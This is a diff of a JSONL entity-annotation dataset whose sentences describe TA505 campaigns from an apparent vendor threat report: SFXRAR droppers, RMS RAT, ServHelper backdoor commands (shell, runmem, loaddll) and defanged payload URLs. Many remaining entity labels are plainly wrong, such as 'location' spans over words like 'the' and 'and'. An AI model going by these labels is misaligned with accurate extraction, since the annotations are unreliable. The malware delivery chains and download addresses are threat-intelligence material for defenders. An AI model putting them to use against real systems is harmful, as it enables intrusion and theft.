-{"id":7595,"text":"This SFXRAR extracts three files to %TEMP% and executes one of the files, where exit.exe is a launcher for i.cmd; i.cmd renames kernel.dll to uninstall.exe, then executes it with parameters.  Figure 10.","entities":[{"id":23667,"label":"location","start_offset":43,"end_offset":46},{"id":23668,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":7596,"text":"Three files extracted from SFXRAR  Figure 11.","entities":[],"relations":[],"Comments":[]}
 {"id":7597,"text":"Executed parameters As indicated in the parameter above, kernel.dll\/uninstall.exe is also SFXRAR, but password-protected.","entities":[],"relations":[],"Comments":[]}
 {"id":7598,"text":"It will extract the following files (Figure 12) and execute exit.exe, where the said executable is also a launcher of i.cmd that registers winserv.exe (the actual RMS RAT) and executes it.","entities":[{"id":23672,"label":"location","start_offset":3,"end_offset":7},{"id":23674,"label":"location","start_offset":48,"end_offset":51},{"id":23675,"label":"malware","start_offset":163,"end_offset":166},{"id":23676,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":7599,"text":"The password used to extract from the RAR file will be passed by the parameter “-p”, which is set in i.cmd.","entities":[{"id":23677,"label":"location","start_offset":47,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":7600,"text":" Figure 12.","entities":[],"relations":[],"Comments":[]}
 {"id":7601,"text":"Extracted files  Figure 13.","entities":[],"relations":[],"Comments":[]}
-{"id":7602,"text":"RMS RAT is added to the startup registry and executed Updates on TA505's tactics, techniques and procedures","entities":[{"id":23681,"label":"location","start_offset":24,"end_offset":31},{"id":23682,"label":"location","start_offset":41,"end_offset":44},{"id":23683,"label":"APT","start_offset":65,"end_offset":70},{"id":23684,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":7603,"text":"Since the tail end of April through early June, we observed TA505 changing its tactics, techniques, and procedures (TTPs) in a variety of ways.","entities":[{"id":23688,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":7604,"text":"The following is a quick rundown of the group's varying methods.","entities":[{"id":23689,"label":"location","start_offset":19,"end_offset":24}],"relations":[],"Comments":[]}
+{"id":7602,"text":"RMS RAT is added to the startup registry and executed Updates on TA505's tactics, techniques and procedures","entities":[{"id":23681,"label":"location","start_offset":24,"end_offset":31},{"id":23682,"label":"location","start_offset":41,"end_offset":44},{"id":23683,"label":"threat-actor","start_offset":65,"end_offset":70},{"id":23684,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":7605,"text":"Using Amadey to distribute EmailStealer On April 24, we detected an attack that used Amadey as its first stage payload.","entities":[],"relations":[],"Comments":[]}
-{"id":7606,"text":"Amadey is a known downloader for another payload (FlawedAmmyy downloader) and EmailStealer, which steals email accounts or SMTP credentials from infected PCs.","entities":[{"id":23697,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":7607,"text":"In this particular attack, we discovered that the C&C server of EmailStealer had an open directory, allowing us to view the information that EmailStealer stole.","entities":[{"id":23700,"label":"location","start_offset":115,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":7608,"text":"We presume the information, primarily comprised of lists of email addresses, will be used in future attacks.","entities":[{"id":23702,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":7609,"text":"Using VBA macro TA505 has been using Excel 4.0 macro for a while, but we recently observed the group using the usual VBA (Visual Basic for Applications) macro along with Excel 4.0 macro.","entities":[{"id":23704,"label":"location","start_offset":37,"end_offset":42},{"id":23705,"label":"location","start_offset":159,"end_offset":164},{"id":23706,"label":"location","start_offset":170,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":7610,"text":"However, they still hide the command and malicious URL in “UserForm” and not in VBA code.","entities":[{"id":23707,"label":"location","start_offset":37,"end_offset":40},{"id":23708,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":7611,"text":" Figure 14. Malicious command and URL hidden in UserForm","entities":[{"id":23710,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":7612,"text":"Avoiding the use of msiexec.exe","entities":[],"relations":[],"Comments":[]}
 {"id":7613,"text":"As previously mentioned, TA505 abuses msiexec.exe to install its first stage payload, but we recently observed the group just directly downloading the first stage payload binary and executing it.","entities":[{"id":23714,"label":"identity","start_offset":121,"end_offset":125},{"id":23715,"label":"location","start_offset":178,"end_offset":181}],"relations":[],"Comments":[]}
 {"id":7614,"text":"Like the VBA macro code, the group just executes the downloaded file 234.exe by cmd.exe.","entities":[{"id":23716,"label":"identity","start_offset":35,"end_offset":39},{"id":23717,"label":"tools","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":7615,"text":"This is possibly because endpoint security solutions easily detect msiexec.exe.","entities":[{"id":23718,"label":"location","start_offset":34,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":7616,"text":"Using HTML as an attack entry point TA505 has been using Excel file, Word document, or .WIZ files as its attack entry point.","entities":[{"id":23719,"label":"location","start_offset":30,"end_offset":35},{"id":23723,"label":"location","start_offset":118,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":7617,"text":"However, as mentioned earlier, the group has also started to attach an HTML link in emails to trick users into opening the Excel file.","entities":[],"relations":[],"Comments":[]}
 {"id":7618,"text":" Figure 15.","entities":[],"relations":[],"Comments":[]}
 {"id":7619,"text":"Attached HTML","entities":[],"relations":[],"Comments":[]}
-{"id":7620,"text":"Opening this HTML link will redirect the user to a malicious URL that hosts the malicious Excel file.","entities":[{"id":23726,"label":"location","start_offset":23,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":7621,"text":"The Excel file still has the same style of VBA macro, which was described in the previous section.","entities":[{"id":23729,"label":"location","start_offset":29,"end_offset":33},{"id":23730,"label":"location","start_offset":90,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":7622,"text":"This could mean that the group is trying to change the entry point's file type to bypass macro detection.","entities":[{"id":23731,"label":"location","start_offset":61,"end_offset":66},{"id":23732,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":7623,"text":"In early June, for instance, we saw HTML in emails that used a friendly tone so recipients would download the Excel file.","entities":[{"id":23734,"label":"location","start_offset":63,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":7624,"text":"Some recent cases we observed even had the Excel file directly attached to the emails.","entities":[],"relations":[],"Comments":[]}
 {"id":7625,"text":"Figure 16.","entities":[],"relations":[],"Comments":[]}
-{"id":7626,"text":"HTML shows a message before Excel download (Translation from Korean: Downloading ... ... will be taken to the download page after a while ....","entities":[{"id":23740,"label":"location","start_offset":89,"end_offset":93},{"id":23741,"label":"location","start_offset":119,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":7627,"text":"If you wait a while and continue to see this message, please click on <a href=\"<MALICIOUS_URL>\"> link <\/a>!","entities":[{"id":23742,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":7628,"text":"Thank you.)","entities":[],"relations":[],"Comments":[]}
-{"id":7629,"text":"Suspicious activity involving TA505","entities":[{"id":23743,"label":"APT","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":7630,"text":"While analyzing TA505's activities, we encountered strange attacks that were very similar to TA505’s TTPs but with some differences.","entities":[{"id":23744,"label":"APT","start_offset":16,"end_offset":21},{"id":23745,"label":"APT","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":7631,"text":"This section discusses a particular attack that, like the usual TA505 attack, distributes RMS RAT via Excel and SFXRAR.","entities":[{"id":23746,"label":"location","start_offset":5,"end_offset":12},{"id":23750,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
+{"id":7629,"text":"Suspicious activity involving TA505","entities":[{"id":23743,"label":"threat-actor","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
+{"id":7630,"text":"While analyzing TA505's activities, we encountered strange attacks that were very similar to TA505’s TTPs but with some differences.","entities":[{"id":23744,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":23745,"label":"threat-actor","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":7632,"text":"But it also contains Kronos, a known banking trojan; and SmokeLoader, which is another payload downloader.","entities":[{"id":23751,"label":"malware","start_offset":21,"end_offset":27},{"id":23752,"label":"location","start_offset":53,"end_offset":56},{"id":23753,"label":"malware","start_offset":57,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":7633,"text":"While the attack shows characteristics that are similar those of TA505's attacks, we suspect that this could be a forged attack.","entities":[{"id":23754,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":7634,"text":"As for the reason why we are dubious about this attack, another report has also since surfaced discussing that some threat actor was using similar tools to TA505’s.","entities":[{"id":23756,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":7635,"text":"In this attack, the basic TTPs and tools used seem similar, but we found five interesting points that set them apart: Using .rar or .zip as attachment","entities":[{"id":23758,"label":"location","start_offset":31,"end_offset":34},{"id":23760,"label":"location","start_offset":90,"end_offset":96},{"id":23761,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":7636,"text":"The TA505 group usually attaches a malicious file without any compression.","entities":[],"relations":[],"Comments":[]}
 {"id":7637,"text":"But this attack sent an email with a .rar or .zip attachment.","entities":[],"relations":[],"Comments":[]}
-{"id":7638,"text":"However, this may not be a significant difference.","entities":[{"id":23763,"label":"location","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":7639,"text":"Using a similar image on Excel but with different macro and attribution","entities":[{"id":23765,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":7640,"text":"The following image on Excel appears similar to the one TA505 has been using.","entities":[{"id":23767,"label":"location","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":7641,"text":"Figure 17.","entities":[],"relations":[],"Comments":[]}
-{"id":7642,"text":"Display on Excel for this suspicious attack But there are a few differences in this Excel file.","entities":[{"id":23771,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":7643,"text":"For one thing, it has a different style of VBA macro.","entities":[],"relations":[],"Comments":[]}
-{"id":7644,"text":"TA505 has been using Excel 4.0 macro and VBA macro without heavy obfuscation, but this particular Excel file was heavily obfuscated and had a different style.","entities":[{"id":23775,"label":"location","start_offset":21,"end_offset":26},{"id":23776,"label":"location","start_offset":37,"end_offset":40},{"id":23778,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
 {"id":7645,"text":" Figure 18. VBA macro with heavy obfuscation","entities":[],"relations":[],"Comments":[]}
 {"id":7646,"text":"Another factor is its different codepage.","entities":[],"relations":[],"Comments":[]}
 {"id":7647,"text":"Malicious Excel files that TA505 distributed had information harvesting capabilities.","entities":[],"relations":[],"Comments":[]}
-{"id":7648,"text":"For example, the codepage of Excel has always been “1251” Cyrillic (Windows), but the code page of this particular attack was “1252” Western European (Windows).  Figure 19. Information of Excel file used in this suspicious attack  Figure 20. Information of the usual Excel file distributed by TA505","entities":[{"id":23783,"label":"location","start_offset":52,"end_offset":56},{"id":23785,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":7649,"text":"Lacking the use of fast flux infrastructure TA505 uses fast flux, a DNS technique used to mask botnets by quickly shifting among compromised hosts, which allows cybercriminals to delay or evade detection.","entities":[{"id":23793,"label":"threat-actor","start_offset":90,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":7650,"text":"The domains the group has been using to distribute payloads were usually resolved across a lot of IPs.","entities":[{"id":23794,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":7651,"text":"But in this attack, the domains used to distribute the payload only had one IP.","entities":[{"id":23795,"label":"location","start_offset":63,"end_offset":67},{"id":23796,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":7652,"text":"It should be noted, however, that TA505 may have used different infrastructure for this instance, or another attacker may have performed malicious activities under the guise of TA505.","entities":[{"id":23798,"label":"location","start_offset":40,"end_offset":43},{"id":23799,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":7653,"text":"Using Kronos and SmokeLoader (v2019) TA505 previously used Amadey to distribute the FlawedAmmyy downloader before, so the use of Kronos and SmokeLoader can’t be considered strong evidence of false attribution.","entities":[{"id":23802,"label":"location","start_offset":13,"end_offset":16},{"id":23803,"label":"malware","start_offset":17,"end_offset":28},{"id":23808,"label":"location","start_offset":136,"end_offset":139},{"id":23810,"label":"location","start_offset":172,"end_offset":178}],"relations":[],"Comments":[]}
 {"id":7654,"text":"Using a different infrastructure to distribute spam","entities":[],"relations":[],"Comments":[]}
 {"id":7655,"text":"The strongest evidence that this attack might not come from TA505 is that this attack operator used a different spam infrastructure.","entities":[],"relations":[],"Comments":[]}
@@ -7658,54 +6435,26 @@
 {"id":7658,"text":"We can’t say for sure if this particular attack comes from TA505, another threat actor, an imitator, or perhaps just TA505 using another infrastructure.","entities":[{"id":23815,"label":"identity","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":7659,"text":"This reiterates the tricky business of attribution in cybersecurity, which calls for careful inspection.","entities":[],"relations":[],"Comments":[]}
 {"id":7660,"text":"While it's easy to attribute similar incidents to certain threat actors, groups, or even countries, attribution should ultimately be based on technically provable information.","entities":[],"relations":[],"Comments":[]}
-{"id":7661,"text":"After all, attributions can be used to operationalize appropriate incident response and remediation.","entities":[{"id":23817,"label":"location","start_offset":24,"end_offset":27},{"id":23818,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":7662,"text":"Defending against TA505's malicious activities TA505 has been responsible for many large-scale attacks since at least 2014, using malicious email campaigns to distribute various banking trojans, ransomware, RATs, and backdoors.","entities":[{"id":23821,"label":"location","start_offset":78,"end_offset":82},{"id":23822,"label":"location","start_offset":83,"end_offset":88},{"id":23824,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]}
-{"id":7663,"text":"They had also targeted retail brands and even different financial companies across the world.","entities":[{"id":23825,"label":"location","start_offset":37,"end_offset":40},{"id":23826,"label":"location","start_offset":87,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":7664,"text":"TA505 has been focused on delivering downloaders, information stealers, and other malware — threats that can remain in affected systems if not prevented or remediated.","entities":[{"id":23828,"label":"location","start_offset":72,"end_offset":75},{"id":23829,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":7665,"text":"With the group's use of email as an entry point for malicious activities, the threat has become more serious for unwitting users and organizations.","entities":[{"id":23830,"label":"location","start_offset":42,"end_offset":47},{"id":23831,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":7666,"text":"Here are some best practices:","entities":[{"id":23832,"label":"location","start_offset":5,"end_offset":8},{"id":23833,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":7667,"text":" Regularly update systems and applications.","entities":[{"id":23834,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":7668,"text":"Incorporate multilayered security mechanisms such as firewalls and intrusion detection and prevention systems.","entities":[{"id":23835,"label":"location","start_offset":25,"end_offset":33},{"id":23836,"label":"location","start_offset":63,"end_offset":66},{"id":23837,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":7669,"text":"For system administrators, secure the email gateway to prevent it from becoming an attack entry point and proactively monitor possible attack vectors.  To defend against spam and threats from the TA505 group, businesses can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.","entities":[{"id":23838,"label":"location","start_offset":44,"end_offset":51},{"id":23839,"label":"location","start_offset":96,"end_offset":101},{"id":23840,"label":"location","start_offset":102,"end_offset":105},{"id":23841,"label":"location","start_offset":118,"end_offset":125},{"id":23842,"label":"location","start_offset":175,"end_offset":178},{"id":23844,"label":"location","start_offset":220,"end_offset":223},{"id":23847,"label":"location","start_offset":291,"end_offset":301},{"id":23848,"label":"location","start_offset":309,"end_offset":312}],"relations":[],"Comments":[]}
-{"id":7670,"text":"Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.","entities":[{"id":23850,"label":"location","start_offset":15,"end_offset":18},{"id":23851,"label":"location","start_offset":33,"end_offset":36},{"id":23852,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":7671,"text":"Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.","entities":[{"id":23854,"label":"location","start_offset":63,"end_offset":66},{"id":23855,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":7672,"text":"Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":23857,"label":"location","start_offset":55,"end_offset":60},{"id":23858,"label":"location","start_offset":105,"end_offset":115},{"id":23859,"label":"location","start_offset":119,"end_offset":123},{"id":23860,"label":"attack-pattern","start_offset":139,"end_offset":153},{"id":23861,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
-{"id":7673,"text":"It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.","entities":[{"id":23867,"label":"location","start_offset":67,"end_offset":70},{"id":23868,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":7674,"text":"The list of indicators of compromise (IoCs) related to this threat can be found in this appendix.","entities":[{"id":23869,"label":"location","start_offset":4,"end_offset":8},{"id":23870,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":7675,"text":"       Tags  Malware | APT & Targeted Attacks | Endpoints | Research","entities":[{"id":23871,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":7676,"text":"TA505 continues to show that as a cybercriminal group, they intend to wreak as much havoc while maximizing potential profits.","entities":[{"id":23873,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":7677,"text":"Given the group's active campaigns since our updates in June and July, we continued following their latest campaigns.","entities":[{"id":23874,"label":"location","start_offset":0,"end_offset":5},{"id":23876,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":7678,"text":"Just like in previous operations, they continue to make small changes, such as targeting other countries, entities, or the combination of techniques used for deployment, for each campaign.","entities":[{"id":23878,"label":"identity","start_offset":0,"end_offset":4},{"id":23879,"label":"location","start_offset":56,"end_offset":61},{"id":23880,"label":"location","start_offset":179,"end_offset":187}],"relations":[],"Comments":[]}
 {"id":7679,"text":"Despite the changes, TA505 continues to use either FlawedAmmyy RAT (remote access trojan) or ServHelper as payloads.","entities":[{"id":23882,"label":"malware","start_offset":51,"end_offset":62},{"id":23883,"label":"location","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":7680,"text":"However, over the last nine campaigns since our June report, they also started using .ISO image attachments as the point of entry, as well as a .NET downloader, a new style for macro delivery, a newer version of ServHelper, and a .DLL variant of FlawedAmmyy downloader.","entities":[{"id":23887,"label":"location","start_offset":115,"end_offset":120},{"id":23889,"label":"location","start_offset":224,"end_offset":227},{"id":23890,"label":"malware","start_offset":246,"end_offset":257}],"relations":[],"Comments":[]}
-{"id":7681,"text":"The group also started targeting new countries, such as Turkey, Serbia, Romania, Korea, Canada, the Czech Republic, and Hungary.","entities":[{"id":23897,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
 {"id":7682,"text":".ISO, enabled macros for entry dropping ServHelper or FlawedAmmyy","entities":[{"id":23899,"label":"malware","start_offset":40,"end_offset":50},{"id":23900,"label":"malware","start_offset":54,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":7683,"text":"We noticed that the group became active again in the middle of July, targeting Turkish and Serbian banks with emails that had .ISO file attachments as a means of entry.","entities":[{"id":23903,"label":"location","start_offset":87,"end_offset":90},{"id":23905,"label":"location","start_offset":99,"end_offset":104},{"id":23906,"label":"location","start_offset":153,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":7684,"text":"While the method is not new, the change in file type may yield successful infections given the unusual malware delivery technique.","entities":[{"id":23907,"label":"location","start_offset":48,"end_offset":52},{"id":23908,"label":"location","start_offset":53,"end_offset":56},{"id":23909,"label":"location","start_offset":85,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":7685,"text":"Emails with an attached .ISO image is an .LNK file that uses command line msiexec to execute an MSI file from a URL such as hxxp:\/\/139[.]180[.]195[.]36\/pm2.","entities":[],"relations":[],"Comments":[]}
 {"id":7686,"text":"Figure 1. Infection chains for ServHelper installation  Figure 2.","entities":[{"id":23911,"label":"malware","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":7687,"text":"A sample of an .ISO file with an embedded .LNK file The pm2 file contains and runs another executable, which is an installer file created using Nullsoft Scriptable Install System (NSIS), a free script-driven installer authoring tool for Windows.","entities":[{"id":23913,"label":"location","start_offset":2,"end_offset":8},{"id":23914,"label":"location","start_offset":74,"end_offset":77},{"id":23915,"label":"malware","start_offset":180,"end_offset":184},{"id":23916,"label":"location","start_offset":228,"end_offset":232}],"relations":[],"Comments":[]}
 {"id":7688,"text":"This NSIS-encapsulated file then installs ServHelper .","entities":[{"id":23917,"label":"malware","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":7689,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
 {"id":7690,"text":".LNK shortcut in .ISO file","entities":[],"relations":[],"Comments":[]}
-{"id":7691,"text":"In another sample we obtained, we found an Excel attachment with malicious macros embedded in the file.","entities":[{"id":23920,"label":"location","start_offset":11,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":7692,"text":"The macros directly download the file created using NSIS installer from hxxp:\/\/45[.]67[.]229[.]36\/p2, which is the same binary we found in the .ISO and .LNK files that install ServHelper.","entities":[{"id":23922,"label":"malware","start_offset":52,"end_offset":56},{"id":23923,"label":"location","start_offset":115,"end_offset":119},{"id":23924,"label":"location","start_offset":148,"end_offset":151},{"id":23925,"label":"malware","start_offset":176,"end_offset":186}],"relations":[],"Comments":[]}
 {"id":7693,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
-{"id":7694,"text":"Email sample with an attached Excel file.","entities":[{"id":23927,"label":"location","start_offset":6,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":7695,"text":"In another sample, the group made several updates with the versions of ServHelper, one of which included the strings’ binary encrypted in Vigenère cipher.","entities":[{"id":23929,"label":"location","start_offset":11,"end_offset":17},{"id":23930,"label":"location","start_offset":29,"end_offset":33},{"id":23932,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":7696,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]}
 {"id":7697,"text":"Encrypted string We observed that some of the samples still had errors in the cipher routine.","entities":[],"relations":[],"Comments":[]}
 {"id":7698,"text":"In another routine that was supposed to result in a stack overflow, it also displayed an error message.","entities":[],"relations":[],"Comments":[]}
-{"id":7699,"text":"We suspect the developer of this particular sample copied and pasted a stack overflow code.","entities":[{"id":23934,"label":"location","start_offset":44,"end_offset":50},{"id":23935,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":7700,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
 {"id":7701,"text":"Vigenère cipher in ServHelper and the Delphi code in stack overflow","entities":[{"id":23937,"label":"malware","start_offset":19,"end_offset":29},{"id":23938,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":7702,"text":"Another updated version included encrypted contents of the C&C communication via HTTP (previous versions had C&C request and response information in plain text).","entities":[{"id":23940,"label":"location","start_offset":121,"end_offset":124},{"id":23941,"label":"location","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]}
 {"id":7703,"text":"The encrypted sample — via XOR encoding\/URL encoding — also received a response from the C&C encrypted with XOR.","entities":[{"id":23942,"label":"location","start_offset":14,"end_offset":20},{"id":23943,"label":"attack-pattern","start_offset":40,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":7704,"text":"The XOR key is embedded in the binary; in this case, the key was “lol”.","entities":[{"id":23944,"label":"location","start_offset":47,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":7705,"text":" Figure 7. XOR Encrypted C&C communication","entities":[],"relations":[],"Comments":[]}
-{"id":7706,"text":"We also found two new backdoor commands, runmem and runmemxor, that can run additional .DLL commands in memory.","entities":[{"id":23947,"label":"location","start_offset":48,"end_offset":51},{"id":23948,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":7707,"text":"shell: Execute command runmem: Download .DLL in memory and run runmemxor: Download XOR encrypted .DLL and decrypt and run zakr: Register autorun slp: Set sleep time load:","entities":[{"id":23949,"label":"location","start_offset":0,"end_offset":5},{"id":23950,"label":"location","start_offset":55,"end_offset":58},{"id":23951,"label":"location","start_offset":102,"end_offset":105},{"id":23952,"label":"location","start_offset":114,"end_offset":117},{"id":23953,"label":"location","start_offset":128,"end_offset":136},{"id":23954,"label":"location","start_offset":160,"end_offset":164},{"id":23955,"label":"location","start_offset":165,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":7708,"text":"Download executable file and run loaddll: Download .DLL and run selfkill: Uninstall itself","entities":[{"id":23956,"label":"location","start_offset":25,"end_offset":28},{"id":23957,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":7709,"text":" The newer version shows that the developers behind ServHelper continued to upgrade it to evade detection and add more functions, possibly for even more iterations in the future.","entities":[{"id":23958,"label":"malware","start_offset":52,"end_offset":62},{"id":23959,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
 {"id":7710,"text":"In a campaign targeting thousands of Korean businesses, we found an .ISO attachment — used as the malicious downloader — disguised as a confirmed flight ticket from a popular airline.  Figure 8. TA505 spoofing an airline company as a malicious file attachment.","entities":[{"id":23960,"label":"location","start_offset":5,"end_offset":13},{"id":23964,"label":"threat-actor","start_offset":195,"end_offset":200}],"relations":[],"Comments":[]}
 {"id":7711,"text":"In a slightly different technique still targeting Korean enterprises, the .ISO files either contained an .LNK file such as the previous iteration, or a .NET-compiled downloader.","entities":[],"relations":[],"Comments":[]}
@@ -7715,47 +6464,29 @@
 {"id":7715,"text":" Figure 11. .LNK embedded in the .ISO file","entities":[],"relations":[],"Comments":[]}
 {"id":7716,"text":"Both versions tried to download and execute files km1 or km2, an .MSI installer that executes the FlawedAmmyy downloader.","entities":[{"id":23972,"label":"location","start_offset":32,"end_offset":35},{"id":23973,"label":"malware","start_offset":98,"end_offset":109}],"relations":[],"Comments":[]}
 {"id":7717,"text":"This, in turn, downloads an RC4-encrypted FlawedAmmyy RAT payload from hxxp:\/\/92[.]38[.]135[.]67\/2.dat or hxxp:\/\/27[.]102[.]70[.]196\/1.dat that automatically decrypts and executes the malware.","entities":[{"id":23974,"label":"tools","start_offset":42,"end_offset":53},{"id":23975,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
-{"id":7718,"text":"This was also previously documented by an ESET security researcher.","entities":[{"id":23976,"label":"location","start_offset":47,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":7719,"text":"On the samples that used a URL in the email content, we also noticed that the type of document file that it downloaded depended on the URL that the user opened.","entities":[{"id":23977,"label":"location","start_offset":44,"end_offset":51},{"id":23978,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":7720,"text":"Opening the documents will enable the macros and download the same FlawedAmmyy downloader as the .ISO file iteration from hxxp:\/\/92[.]38[.]135[.]67 or hxxp:\/\/27[.]102[.]70[.]196, with filenames k1 or k2.","entities":[{"id":23979,"label":"location","start_offset":22,"end_offset":26},{"id":23980,"label":"location","start_offset":45,"end_offset":48},{"id":23981,"label":"location","start_offset":62,"end_offset":66},{"id":23982,"label":"tools","start_offset":67,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":7721,"text":"In a campaign that targeted Romanian banks, emails used the subject “Fw: copie COC L5H3” and came with an .ISO image attachment.  Figure 12.","entities":[{"id":23983,"label":"location","start_offset":5,"end_offset":13},{"id":23985,"label":"location","start_offset":37,"end_offset":42},{"id":23986,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":7722,"text":"Infection chains for ServHelper installation with .NET downloader","entities":[{"id":23988,"label":"malware","start_offset":21,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":7723,"text":"Further analysis revealed a .NET downloader embedded in the image, along with routines that were almost similar to those used in the campaign observed targeting Turkish banks.","entities":[{"id":23989,"label":"location","start_offset":67,"end_offset":72},{"id":23990,"label":"location","start_offset":133,"end_offset":141},{"id":23992,"label":"location","start_offset":169,"end_offset":174}],"relations":[],"Comments":[]}
 {"id":7724,"text":"The .NET downloads jm1 — an .MSI installer — that installs another NSIS installer, leading to a ServHelper infection in the system.","entities":[{"id":23993,"label":"malware","start_offset":67,"end_offset":71},{"id":23994,"label":"malware","start_offset":96,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":7725,"text":"Figure 13.","entities":[],"relations":[],"Comments":[]}
 {"id":7726,"text":"The decompiled .NET downloader","entities":[],"relations":[],"Comments":[]}
 {"id":7727,"text":"In another routine, an Excel file attachment downloads the NSIS installer once the user enables the malicious macros from hxxp:\/\/109[.]234[.]37[.]15:80\/j1 or hxxp:\/\/169[.]239[.]128[.]170\/j1.","entities":[{"id":23997,"label":"malware","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":7728,"text":"Both URLs contain the same binaries as the ones that the jm1 file installs.","entities":[{"id":23998,"label":"location","start_offset":22,"end_offset":26}],"relations":[],"Comments":[]}
